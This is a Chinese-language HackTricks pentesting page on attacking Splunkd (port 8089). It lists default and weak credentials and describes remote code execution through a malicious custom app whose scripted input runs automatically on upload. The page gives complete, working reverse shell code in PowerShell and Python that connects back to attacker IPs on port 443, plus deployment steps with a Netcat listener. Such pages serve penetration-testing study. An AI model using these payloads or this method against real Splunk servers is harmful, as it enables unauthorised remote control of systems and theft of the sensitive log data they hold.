8089 - Pentesting Splunkd
Reading time: 5 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
基本信息
- 用于数据收集、分析和可视化的日志分析工具
- 常用于安全监控和商业分析
- 默认端口:
- Web 服务器:8000
- Splunkd 服务:8089
漏洞向量:
- 免费版本利用
- 试用版在 60 天后自动转换为免费版
- 免费版缺乏身份验证
- 如果不加以管理,可能存在安全风险
- 管理员可能会忽视安全隐患
- 凭证弱点
- 旧版本:默认凭证
admin:changeme
- 新版本:安装时设置凭证
- 可能使用弱密码(例如,
admin
,Welcome
,Password123
)
- 远程代码执行机会
- 多种代码执行方法:
- 服务器端 Django 应用
- REST 端点
- 脚本输入
- 警报脚本
- 跨平台支持(Windows/Linux)
- 脚本输入可以运行:
- Bash 脚本
- PowerShell 脚本
- 批处理脚本
关键利用潜力:
- 敏感数据存储
- 免费版缺乏身份验证
- 多个潜在远程代码执行的向量
- 利用脚本输入进行系统妥协的可能性
Shodan
Splunk build
RCE
创建自定义应用
Splunk 提供了一种通过自定义应用部署进行远程代码执行的复杂方法,利用其跨平台脚本能力。核心利用技术围绕创建一个恶意应用,该应用可以在 Windows 和 Linux 系统上执行反向 shell。
自定义应用可以运行 Python、Batch、Bash 或 PowerShell 脚本。此外,Splunk 自带 Python,因此即使在 Windows 系统上也能运行 Python 代码。
您可以使用 这个 示例,其中 bin
包含 Python 和 PowerShell 的示例。或者您可以创建自己的。
利用过程在各个平台上遵循一致的方法论:
splunk_shell/
├── bin (reverse shell scripts)
└── default (inputs.conf configuration)
关键配置文件 inputs.conf
通过以下方式启用脚本:
- 设置
disabled = 0
- 配置 10 秒的执行间隔
- 定义脚本的源类型
部署很简单:
- 创建恶意应用程序包
- 在攻击机器上设置监听器 (Netcat/socat)
- 通过 Splunk 的界面上传应用程序
- 在上传时触发自动脚本执行
示例 Windows PowerShell 反向 shell:
powershell
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
示例 Linux Python 反向 shell:
python
import sys, socket, os, pty
ip = "10.10.14.15"
port = "443"
s = socket.socket()
s.connect((ip, int(port)))
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
pty.spawn('/bin/bash')
RCE & 权限提升
在以下页面中,您可以找到有关如何滥用此服务以提升权限和获得持久性的解释:
参考
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。